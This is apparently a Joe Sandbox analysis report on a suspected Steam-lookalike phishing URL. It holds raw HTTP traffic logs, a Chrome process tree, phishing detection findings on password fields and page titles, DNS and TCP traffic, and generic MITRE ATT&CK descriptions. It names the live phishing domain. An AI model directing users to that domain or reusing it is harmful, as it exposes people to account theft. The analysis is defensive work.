2024-10-06 11:21:07 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 938e68e0-901e-0029-0160-17274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112107Z-1657d5bbd48f7nlxc7n5fnfzh000000001ng000000001e2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112107Z-1657d5bbd482tlqpvyz9e93p54000000022g000000001vsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:08 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112108Z-1657d5bbd48xsz2nuzq4vfrzg800000001w0000000000wv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:08 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e72b6989-501e-005b-2b00-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112108Z-1657d5bbd482tlqpvyz9e93p5400000001vg00000000fb7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:08 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:08 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112108Z-1657d5bbd48p2j6x2quer0q0280000000250000000004gy3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:08 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Target ID:	0
Start time:	07:20:41
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:20:43
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2200,i,535189481859360234,10417123737869248396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:20:46
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sneamcomnnumnlty.com/fact/actual/get"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:02:03
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:02:03
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1964,i,6013309467918627893,8673806943052136411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://sneamcomnnumnlty.com/fact/actual/get	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://sneamcomnnumnlty.com/fact/actual/get	HTTP Parser: Title: Sign In does not match URL
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: Title: Sign In does not match URL

Source: https://sneamcomnnumnlty.com/fact/actual/get	HTTP Parser: <input type="password" .../> found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found

Source: https://sneamcomnnumnlty.com/fact/actual/get	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found

Source: https://sneamcomnnumnlty.com/fact/actual/get	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_223.2.dr, chromecache_410.2.dr	String found in binary or memory:   <span aria-hidden="true">\|</span>  <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.facebook.com%2FSteam" target="_blank" rel=" noopener"><img src="https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png" alt="Facebook"> Steam</a> equals www.facebook.com (Facebook)
Source: chromecache_270.2.dr, chromecache_385.2.dr, chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	String found in binary or memory: var youtubeurl = location.protocol + '//www.youtube.com/embed/' + videoid + '?showinfo=0&autohide=1&fs=1&hd=1&modestbranding=1&rel=0&showsearch=0&wmode=direct&autoplay=1'; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: sneamcomnnumnlty.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: store.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: recaptcha.net
Source: global traffic	DNS traffic detected: DNS query: store.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: cdn.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: fonts.cdnfonts.com
Source: global traffic	DNS traffic detected: DNS query: community.cloudflare.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: community.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: login.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: api.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: help.steampowered.com

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://sneamcomnnumnlty.com/fact/actual/get

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Chrome Cache Entry: 218

Chrome Cache Entry: 219

Windows Analysis Report
http://sneamcomnnumnlty.com/fact/actual/get